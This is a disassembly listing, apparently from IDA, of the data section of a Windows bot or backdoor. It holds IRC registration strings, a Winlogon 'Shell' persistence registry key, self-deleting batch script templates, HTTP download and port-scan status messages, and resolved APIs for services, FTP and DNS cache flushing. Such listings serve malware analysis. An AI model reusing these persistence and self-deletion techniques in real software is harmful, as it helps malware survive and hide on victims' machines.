aWww_nintendoEu db 'www.nintendo-europe.com',0 ; DATA XREF: sub_425F31+ADo
aWww_supergames db 'www.supergames.cz',0 ; DATA XREF: sub_425F31+A6o
align 4
aWww_epfl_ch db 'www.epfl.ch',0 ; DATA XREF: sub_425F31+9Fo
aWww_hon_ch db 'www.hon.ch',0 ; DATA XREF: sub_425F31+98o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_425F31+91o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_425F31+8Ao
align 10h
aWww_rtv_de db 'www.rtv.de',0 ; DATA XREF: sub_425F31+83o
align 4
aWww_rollingsto db 'www.rollingstone.de',0 ; DATA XREF: sub_425F31+7Co
aWww_uniTuebing db 'www.uni-tuebingen.de',0 ; DATA XREF: sub_425F31+72o
align 4
aWww_univAngers db 'www.univ-angers.fr',0 ; DATA XREF: sub_425F31+68o
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_425F31+5Eo
align 4
aWww_volkskrant db 'www.volkskrant.nl',0 ; DATA XREF: sub_425F31+54o
align 4
aWww_news_nl db 'www.news.nl',0 ; DATA XREF: sub_425F31+4Ao
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_425F31+40o
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_425F31+36o
a0123456789abcd db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZabcdefghijklmnopqrstuvwxyz',0
; DATA XREF: sub_42625A+1Do
a432 db '432',0 ; DATA XREF: sub_42630C+87o
aSS_0 db '%s %s',0Ah,0 ; DATA XREF: sub_42630C+6Bo
; sub_42630C+C2o ...
align 4
aSSSSMail_gmail db '%s %s',0Ah ; DATA XREF: sub_426402+101o
db '%s %s "mail.gmail.com" "127.0.0.1" :%s',0Ah,0
align 8
aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz1234567890-|`_\{[]}abcdefghijklmnopqrst'
; DATA XREF: sub_426698+C8o
; sub_426698+180r ...
db 'uvwxyz',0
aMirc32 db 'mIRC32',0 ; DATA XREF: sub_426B7C+1Fo
align 4
a0_0_0_0 db '0.0.0.0',0 ; DATA XREF: sub_427162+100o
aSSSWithDPackS db '%s %s (%s) with (%d) pack(s)',0 ; DATA XREF: sub_4274B2+1AAo
align 10h
aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
; DATA XREF: sub_427728+25o
align 4
aShell db 'Shell',0 ; DATA XREF: sub_427728+20o
align 10h
a_2d_2d4d_2d_2d db '%.2d/%.2d/%4d, %.2d:%.2d %s',0 ; DATA XREF: sub_427AFB+6Co
aAm db 'AM',0 ; DATA XREF: sub_427AFB+49o
align 10h
aPm db 'PM',0 ; DATA XREF: sub_427AFB+3Eo
align 8
a@echoOffRepe_0 db '@echo off',0Dh,0Ah ; DATA XREF: sub_427BB8:loc_427C95o
db ':Repeat',0Dh,0Ah
db 'del "%s">nul',0Dh,0Ah
db 'if exist "%s" goto Repeat',0Dh,0Ah
db 'del "%%0"',0Dh,0Ah,0
align 8
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_427BB8+D6o
db ':Repeat',0Dh,0Ah
db 'del "%s">nul',0Dh,0Ah
db 'ping 127.0.0.1>nul',0Dh,0Ah
db 'if exist "%s" goto Repeat',0Dh,0Ah
db 'del "%%0"',0Dh,0Ah,0
align 4
aSSIIII_bat db '%s\%s%i%i%i%i.bat',0 ; DATA XREF: sub_427BB8+78o
align 4
aExplorer_exe db 'Explorer.exe',0 ; DATA XREF: sub_427E97+93o
align 4
a__ db '..',0 ; DATA XREF: sub_428046+AFo
align 10h
a_ db '\*.*',0 ; DATA XREF: sub_428046+3Bo
align 4
aSFailedToConne db '%s Failed to connect to HTTP server.',0 ; DATA XREF: sub_42817F+1DEo
align 10h
aSCouldNotOpenA db '%s Could not open a connection.',0 ; DATA XREF: sub_42817F+1D2o
aSInvalidUrl_ db '%s Invalid URL.',0 ; DATA XREF: sub_42817F+1BDo
align 4
aSFailedToGetRe db '%s Failed to get requested URL from HTTP server.',0
; DATA XREF: sub_42817F:loc_42832Ao
align 4
aSUrlVisited_ db '%s URL visited.',0 ; DATA XREF: sub_42817F+1A4o
asc_450DB8 db '*/*',0 ; DATA XREF: sub_42817F+48o
aSSPortsHitS db '%s %s, ports hit: (%s)',0 ; DATA XREF: sub_4283DC+3Eo
align 4
aSD db '%s%d ',0 ; DATA XREF: sub_428597+19Do
align 10h
off_450DE0 dd offset off_4374BC ; DATA XREF: ?9:off_437F80o
; ?9:00437FC4o ...
align 8
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
dword_450E00 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_450E10 dd offset off_4374BC ; DATA XREF: ?9:off_438058o
; ?9:00438094o ...
align 8
a_?av_com_error db '.?AV_com_error@@',0
align 10h
dword_450E30 dd 1B3Fh align 10h
dd 9875h, 9873h
off_450E48 dd offset sub_42A8C0 ; DATA XREF: sub_430A37r
off_450E4C dd offset nullsub_2 ; DATA XREF: sub_42AB28:loc_42AB6Ar
off_450E50 dd offset nullsub_2 ; DATA XREF: sub_42ABBBr
dword_450E54 dd 19930520h, 6 dup(0) ; sub_42ACD2+2o
dd offset sub_431FD0
align 10h
off_450E80 dd offset off_4374BC ; DATA XREF: ?9:off_4380D0o
; ?9:0043810Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
off_450EA0 dd offset dword_677000 ; DATA XREF: sub_42BEB4o
; sub_42C048+55o ...
dd 0
dd offset dword_677000
dd 101h
dword_450EB0 dd 2 dup(0) dd 1000h, 0
dword_450EC0 dd 3 dup(0) ; sub_42DA95+50o ...
dd 2, 1, 3 dup(0)
dword_450EE0 dd 3 dup(0) ; sub_42DA95+58o ...
dd 2 dup(2), 7 dup(0)
dword_450F10 dd 7Ch dup(0) dword_451100 dd 8 dup(0) ; sub_42C156+Do
off_451120 dd offset sub_430A75 ; DATA XREF: sub_42C048+69o
; sub_42C5AC+1Cr
dword_451124 dd 2 ; sub_43228A+34r ...
dd 10h, 0
off_451130 dd offset off_451130 ; DATA XREF: sub_42D329+Do
; sub_42D329+69o ...
off_451134 dd offset off_451130 ; DATA XREF: sub_42D329:loc_42D3A9r
; sub_42D329+89w ...
dd offset dword_451148
dd offset dword_451148
dword_451140 dd 0FFFFFFFFh ; sub_42D46D:loc_42D4BAw
dd 0FFFFFFFFh
dword_451148 dd 0F0h, 0F1h, 800h dup(0) ; ?9:0045113Co
off_453150 dd offset off_451130 ; DATA XREF: sub_42D46D+15r
; sub_42D46D+20w ...
dword_453154 dd 1E0h ; sub_42B2CA+A7r ...
dword_453158 dd 0 ; sub_42DA80+6r
off_45315C dd offset dword_676920 ; DATA XREF: sub_42D9F6+1Fr
dd 7 dup(0)
off_45317C dd offset dword_676950 ; DATA XREF: sub_42D9F6+17r
dd 3 dup(0)
off_45318C dd offset dword_676968 ; DATA XREF: sub_42D9F6+Fr
dd 3 dup(0)
off_45319C dd offset dword_676938 ; DATA XREF: sub_42D9F6+7r
dd 1Eh dup(0)
off_453218 dd offset aNull_0 ; DATA XREF: sub_42DBAD:loc_42DF11r
; sub_42DBAD+457r
; "(null)"
off_45321C dd offset aNull ; DATA XREF: sub_42DBAD+259r
; "(null)"
dword_453220 dd 0FFFFFFFFh ; sub_42E3B7+Fw ...
dword_453224 dd 0D2D0920h, 5Dhdword_45322C dd 5Dh dword_453230 dd 1 dword_453234 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_453398 dd offset word_4533A2 ; DATA XREF: sub_429D89:loc_429DB9r
; sub_429D89:loc_429E76r ...
dd offset word_4533A2
db 2 dup(0)
word_4533A2 dw 20h ; DATA XREF: sub_434C6F+18r
; ?9:off_453398o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4535A4 dd 1 ; sub_429D89:loc_429E5Er ...
byte_4535A8 db 2Eh ; DATA XREF: sub_42E525:loc_42E819r
; sub_42E525+311r ...
align 4
dd 1
dword_4535B0 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_42F312:loc_42F396o
dword_4535D8 dd 14h off_4535DC dd offset dword_437620 ; DATA XREF: sub_43015E:loc_43017Br
dd 1Dh, 43761Ch, 1Ah, 437618h, 1Bh, 437610h, 1Fh, 437608h
dd 13h, 437600h, 21h, 4375F8h, 0Eh, 4375F0h, 0Dh, 4375E8h
dd 0Fh, 4375E0h, 10h, 4375D8h, 5, 4375D0h, 1Eh, 4375CCh
dd 12h, 4375C8h, 20h, 4375C4h, 0Ch, 4375BCh, 0Bh, 4375B4h
dd 15h, 4375ACh, 1Ch, 4375A4h, 19h, 43759Ch, 11h, 437594h
dd 18h, 43758Ch, 16h, 437584h, 17h, 43757Ch, 22h, 437578h
dd 23h, 437574h, 24h, 437570h
dbl_4536B0 dq 1.797693134862316e308 ; DATA XREF: sub_42FE97+B7r
; sub_42FE97:loc_42FF7Er ...
dd 0
dd 0FFF80000h
dbl_4536C0 dq 1.797693134862316e308 ; DATA XREF: sub_42FE97+92r
; sub_42FE97:loc_42FF56r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_4536D8 dt 2.3562723457267347066e313 ; DATA XREF: sub_430346+Dr
; sub_430346+1Fr
align 4
tbyte_4536E4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_430346+31r
align 10h
dd 2 dup(43h), 20h dup(0)
dd 43h, 20h dup(0)
off_4537FC dd offset sub_4345D5 ; DATA XREF: sub_42A8D8+Fw
; sub_42DBAD+3AAr
off_453800 dd offset sub_4345D5 ; DATA XREF: sub_42A8D8+5w
; sub_42DBAD+3E2r
off_453804 dd offset sub_4345D5 ; DATA XREF: sub_42A8D8+14w
; sub_42E525+430r
off_453808 dd offset sub_4345D5 ; DATA XREF: sub_42A8D8+1Ew
; sub_42DBAD+3CBr
off_45380C dd offset sub_4345D5 ; DATA XREF: sub_42A8D8+28w
off_453810 dd offset sub_4345D5 ; DATA XREF: sub_42A8D8+32w
align 8
dword_453818 dd 0C0000005h, 0Bh, 0 ; sub_42E485+7Bo
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_453890 dd 3 ; sub_430B57+86r ...
dword_453894 dd 7 ; sub_430B57+8Cr ...
dd 78h
dword_45389C dd 0Ah ; sub_4350D3+4r
off_4538A0 dd offset a_cmd ; DATA XREF: sub_431058+109o
; ".cmd"
dd offset a_bat ; ".bat"
dd offset a_exe ; ".exe"
off_4538AC dd offset a_com ; DATA XREF: sub_431058+E7o
; ".com"
dd offset sub_431FD0
align 10h
off_4538C0 dd offset sub_431AFC ; DATA XREF: sub_431B5D+29r
off_4538C4 dd offset aNoError ; DATA XREF: sub_42BE29:loc_42BE86r
; "No error"
dd offset aOperationNotPe ; "Operation not permitted"
dd offset aNoSuchFileOrDi ; "No such file or directory"
dd offset aNoSuchProcess ; "No such process"
dd offset aInterruptedFun ; "Interrupted function call"
dd offset aInputOutputErr ; "Input/output error"
dd offset aNoSuchDeviceOr ; "No such device or address"
dd offset aArgListTooLong ; "Arg list too long"
dd offset aExecFormatErro ; "Exec format error"
dd offset aBadFileDescrip ; "Bad file descriptor"
dd offset aNoChildProcess ; "No child processes"
dd offset aResourceTempor ; "Resource temporarily unavailable"
dd offset aNotEnoughSpace ; "Not enough space"
dd offset aPermissionDeni ; "Permission denied"
dd offset aBadAddress ; "Bad address"
dd offset aUnknownError ; "Unknown error"
dd offset aResourceDevice ; "Resource device"
dd offset aFileExists ; "File exists"
dd offset aImproperLink ; "Improper link"
dd offset aNoSuchDevice ; "No such device"
dd offset aNotADirectory ; "Not a directory"
dd offset aIsADirectory ; "Is a directory"
dd offset aInvalidArgumen ; "Invalid argument"
dd offset aTooManyOpenF_0 ; "Too many open files in system"
dd offset aTooManyOpenFil ; "Too many open files"
dd offset aInappropriateI ; "Inappropriate I/O control operation"
dd offset aUnknownError ; "Unknown error"
dd offset aFileTooLarge ; "File too large"
dd offset aNoSpaceLeftOnD ; "No space left on device"
dd offset aInvalidSeek ; "Invalid seek"
dd offset aReadOnlyFileSy ; "Read-only file system"
dd offset aTooManyLinks ; "Too many links"
dd offset aBrokenPipe ; "Broken pipe"
dd offset aDomainError ; "Domain error"
dd offset aResultTooLarge ; "Result too large"
dd offset aUnknownError ; "Unknown error"
dd offset aResourceDeadlo ; "Resource deadlock avoided"
dd offset aUnknownError ; "Unknown error"
dd offset aFilenameTooLon ; "Filename too long"
dd offset aNoLocksAvailab ; "No locks available"
dd offset aFunctionNotImp ; "Function not implemented"
dd offset aDirectoryNotEm ; "Directory not empty"
dd offset aIllegalByteSeq ; "Illegal byte sequence"
dd offset aUnknownError ; "Unknown error"
dword_453974 dd 2Bh ; sub_42BE29:loc_42BE81r
byte_453978 db 1 ; DATA XREF: sub_4325F8+EDr
db 2, 4, 8
align 10h
dword_453980 dd 3A4h dword_453984 dd 82798260h, 21h, 0dword_453990 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_453A70 dd 2 ; sub_432FD0+Eo ...
off_453A74 dd offset aR6002FloatingP ; DATA XREF: sub_432FD0+FCr
; sub_432FD0+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 437CD4h, 9, 437CA8h, 0Ah, 437C84h, 10h, 437C58h
dd 11h, 437C28h, 12h, 437C04h, 13h, 437BD8h, 18h, 437BA0h
dd 19h, 437B78h, 1Ah, 437B40h, 1Bh, 437B08h, 1Ch, 437AE0h
dd 78h, 437AD0h, 79h, 437AC0h, 7Ah, 437AB0h, 0FCh, 4476B0h
dd 0FFh, 437AA0h
dword_453B00 dd 2694h ; sub_42FB4C+46r ...
dword_453B04 dd 7080h ; sub_4338E9+75w ...
dword_453B08 dd 1 ; sub_4338E9+A2w ...
dword_453B0C dd 0FFFFF1F0h ; sub_4338E9+ABw ...
off_453B10 dd offset dword_545350 ; DATA XREF: ?9:off_453B90o
dd 0Fh dup(0)
off_453B50 dd offset dword_544450 ; DATA XREF: ?9:off_453B94o
dd 0Fh dup(0)
off_453B90 dd offset off_453B10 ; DATA XREF: sub_4338E9+D0r
; sub_4338E9+EFr ...
off_453B94 dd offset off_453B50 ; DATA XREF: sub_4338E9+109r
; sub_4338E9+130r ...
dword_453B98 dd 0FFFFFFFFh ; sub_433B91+1Er ...
dword_453B9C dd 0 ; sub_433D3D+BFw
dword_453BA0 dd 0 ; sub_433D3D+E0w
align 8
dword_453BA8 dd 0FFFFFFFFh ; sub_433B91+26r ...
dword_453BAC dd 0 ; sub_433D3D+EAw ...
dword_453BB0 dd 0 ; sub_433D3D+23r ...
dword_453BB4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_453BE4 dd 16Dh ; sub_433D3D+2Er ...
dword_453BE8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_453C20 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_453C38 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 2, 453C58h, 437F14h
; DATA XREF: sub_4343DCo
dd 437F10h, 437F0Ch, 437F08h, 437F04h, 437F00h, 437EFCh
dd 437EF4h, 437EECh, 437EE4h, 437ED8h, 437ECCh, 437EC4h
dd 437EB8h, 437EB4h, 437EB0h, 437EACh, 437EA8h, 437EA4h
dd 437EA0h, 437E9Ch, 437E98h, 437E94h, 437E90h, 437E8Ch
dd 437E88h, 437E80h, 437E74h, 437E6Ch, 437E64h, 437EA4h
dd 437E5Ch, 437E54h, 437E4Ch, 437E40h, 437E38h, 437E2Ch
dd 437E20h, 450C2Ch, 450C30h, 437E18h, 437E04h, 437DFCh
dd 0
dword_453D08 dd 2Eh, 0 dd offset dword_453D08
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd offset dword_676C50
dd 2 dup(7F7F7F7Fh), 453D10h, 3 dup(0)
dword_453D50 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_453EB0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_436184+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
dword_454010 dd 2 dup(0) word_454018 dw 0 ; DATA XREF: sub_401136+13o
; sub_407FFA+2Fr ...
align 10h
dword_454020 dd 0 ; sub_402BA8+9w
dword_454024 dd 0 ; sub_402BA8+21r
dword_454028 dd 0 ; sub_402BA8+2Er
dd 23h dup(0)
dword_4540B8 dd 0 ; sub_40221C+92w ...
dword_4540BC dd 0 ; sub_40242A+19Ar ...
dd 198h dup(0)
dword_454720 dd 3 dup(0) dword_45472C dd 6 dup(0) ; sub_40242A+201o ...
dword_454744 dd 3 dup(0) dword_454750 dd 0 dword_454754 dd 41h dup(0) dword_454858 dd 41h dup(0) dword_45495C dd 0 ; sub_4020AA+FEr
dword_454960 dd 0 dword_454964 dd 0 ; sub_4020AA+BEr
dword_454968 dd 23h dup(0) dword_4549F4 dd 0 ; sub_4020AA:loc_4021C9r
dword_4549F8 dd 0 dword_4549FC dd 0 ; sub_402CBA+8Fr ...
dword_454A00 dd 4 dup(0) dword_454A10 dd 0 ; sub_402CBA+58w ...
dword_454A14 dd 0 ; resolved to->NTDLL.RtlInitUnicodeString ; sub_4027F3+35r ...
dword_454A18 dd 0 ; resolved to->NTDLL.ZwOpenSection ; sub_402900+62r ...
dword_454A1C dd 0 ; sub_4027F3+2Dr ...
dword_454A20 dd 0 ; sub_4029DFr ...
dword_454A24 dd 0 ; sub_402900+7Fr ...
dword_454A28 dd 0 ; sub_40A938+5F2Bw ...
dword_454A2C dd 0 ; sub_40A938+2231w ...
dword_454A30 dd 0 ; sub_402CBA:loc_40315Fr ...
byte_454A34 db 0 ; DATA XREF: sub_401E8E+37r
; sub_4053EE+8Eo ...
align 4
dword_454A38 dd 20h dup(0) ; sub_40363C+14o
dword_454AB8 dd 0 ; sub_4066B3+43w
align 10h
dword_454AC0 dd 6 dup(0) ; sub_4066B3+314o ...
dword_454AD8 dd 0 ; sub_4066B3+3C9o
dword_454ADC dd 0 ; sub_4066B3+3D5o
dword_454AE0 dd 0 ; sub_4066B3+3E6o
dword_454AE4 dd 0 ; sub_4066B3+3F5o
dword_454AE8 dd 0 ; sub_4066B3+401o
dword_454AEC dd 0 ; sub_4066B3+411o
dword_454AF0 dd 0 ; sub_4066B3+41Do
dword_454AF4 dd 0 ; sub_4066B3+42Do
dword_454AF8 dd 0B2h dup(0) ; sub_4066B3+441o
dword_454DC0 dd 0 dword_454DC4 dd 0 dword_454DC8 dd 0 dword_454DCC dd 0 dword_454DD0 dd 0 dword_454DD4 dd 0 dword_454DD8 dd 53h dup(0) dword_454F24 dd 0 dword_454F28 dd 0 dword_454F2C dd 0 dword_454F30 dd 0 dword_454F34 dd 0 dword_454F38 dd 0 dword_454F3C dd 0 dword_454F40 dd 0 ; sub_4063FA+EBr ...
align 8
dword_454F48 dd 96h dup(0) ; sub_4066B3+289o ...
dword_4551A0 dd 3 dup(0) dword_4551AC dd 3 dup(0) dword_4551B8 dd 9 dup(0) dword_4551DC dd 3 dup(0) dword_4551E8 dd 9 dup(0) dword_45520C dd 49h dup(0) dword_455330 dd 10h dup(0) dword_455370 dd 0 dword_455374 dd 0 ; sub_405C6A+439o
dword_455378 dd 0 ; sub_4066B3+514r ...
dword_45537C dd 0 ; sub_4066B3+50Ar
dword_455380 dd 0 ; sub_4066B3:loc_406B98r
dword_455384 dd 2 dup(0) ; sub_4066B3+22Co ...
dword_45538C dd 0 dword_455390 dd 0 dword_455394 dd 41h dup(0) dword_455498 dd 41h dup(0) dword_45559C dd 0 ; sub_406C3A+EAr
dword_4555A0 dd 0 dword_4555A4 dd 0 ; sub_406C3A+56w ...
dword_4555A8 dd 23h dup(0) dword_455634 dd 0 ; sub_406C3A:loc_406D45r
dword_455638 dd 0 dd 19h dup(0)
dword_4556A0 dd 0 align 8
byte_4556A8 db 0 ; DATA XREF: ?9:0040822Fo ?9:00408784r ...
align 4
dd 3Fh dup(0)
dword_4557A8 dd 3 dup(0) dword_4557B4 dd 0 ; sub_409EB3+C0r
dword_4557B8 dd 0 align 10h
dword_4557C0 dd 0 align 8
byte_4557C8 db 0 ; DATA XREF: sub_409EB3+BAo
; sub_409F99+63o
byte_4557C9 db 3 dup(0) ; DATA XREF: sub_409F99+74o
dd 1FEh dup(0)
db 2 dup(0)
word_455FC6 dw 0 ; DATA XREF: sub_409F99+CFo
dd 8Ah dup(0)
dword_4561F0 dd 0 ; sub_40A708:loc_40A845w
align 8
dword_4561F8 dd 4 dup(0) dword_456208 dd 0 dword_45620C dd 41h dup(0) dword_456310 dd 41h dup(0) dword_456414 dd 0 ; sub_40A938+226Cr ...
dword_456418 dd 0 dword_45641C dd 0 ; sub_40A938+21BDw ...
dword_456420 dd 23h dup(0) dword_4564AC dd 0 ; sub_40A938:loc_40CBC8r
dword_4564B0 dd 0 align 8
dword_4564B8 dd 0 ; sub_40A938+672Co
dd 20h dup(0)
dword_45653C dd 0 ; sub_40A938+673Er
dd 0Ah dup(0)
dword_456568 dd 0 dword_45656C dd 0 dd 0
dword_456574 dd 0 ; sub_40A938:loc_4110E1r
align 10h
dword_456580 dd 80h dup(0) ; sub_401B6E+26Eo ...
dword_456780 dd 0 ; sub_401B6E+262r ...
align 8
dword_456788 dd 80h dup(0) ; sub_4063FA+1DFo ...
dword_456988 dd 80h dup(0) ; sub_4063FA+1DAo ...
dword_456B88 dd 80h dup(0) ; sub_4063FA:loc_40658Eo ...
dword_456D88 dd 0 ; sub_401B6E+81w ...
dword_456D8C dd 0 ; resolved to->GDI32.DeleteDC ; sub_41729C+66Fr
dword_456D90 dd 0 ; resolved to->KERNEL32.Module32Firstdword_456D94 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_41729C+9A0w ...
dword_456D98 dd 0 ; sub_41729C+BE5r
dword_456D9C dd 0 ; sub_41729C+BB5r ...
dword_456DA0 dd 0 ; resolved to->GDI32.SelectObject ; sub_41729C+65Fr
dword_456DA4 dd 0 ; sub_41729C+BDDr
dword_456DA8 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_41729C+404w ...
dword_456DAC dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41BD3B+177r
dword_456DB0 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_4051C0+12Br ...
dword_456DB4 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_41729C+4FEr
dword_456DB8 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_402CBA+162r ...
dword_456DBC dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_41729C+DFr
dword_456DC0 dd 0 ; sub_41729C+BA8r ...
dword_456DC4 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4051C0:loc_4052BBr ...
dword_456DC8 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_41729C+A5Br ...
dword_456DCC dd 0 ; resolved to->USER32.GetWindowThreadProcessId ; sub_41729C+277r
dword_456DD0 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_41729C+359r ...
dword_456DD4 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_41729C+A53r ...
dword_456DD8 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_41729C+107r
dword_456DDC dd 0 ; resolved to->WININET.InternetReadFile ; sub_41729C+A63r ...
dword_456DE0 dd 0 ; resolved to->ADVAPI32.LockServiceDatabase ; sub_41729C+50Er ...
dword_456DE4 dd 0 ; resolved to->ADVAPI32.RegEnumValueA ; sub_41729C+379r ...
dword_456DE8 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_41729C+861r
dword_456DEC dd 0 ; resolved to->KERNEL32.Process32Next ; sub_41729C+D7r
dword_456DF0 dd 0 ; resolved to->IPHLPAPI.IcmpSendEchodword_456DF4 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_41729C+C33w ...
dword_456DF8 dd 0 ; resolved to->WININET.FtpGetFileAdword_456DFC dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_41729C+FFr
dword_456E00 dd 0 ; sub_41729C+EAFr ...
dword_456E04 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_41729C+657r
dword_456E08 dd 0 ; resolved to->WS2_32.ntohl ; sub_407252+F6r ...
dword_456E0C dd 0 ; sub_41729C+B6Dw ...
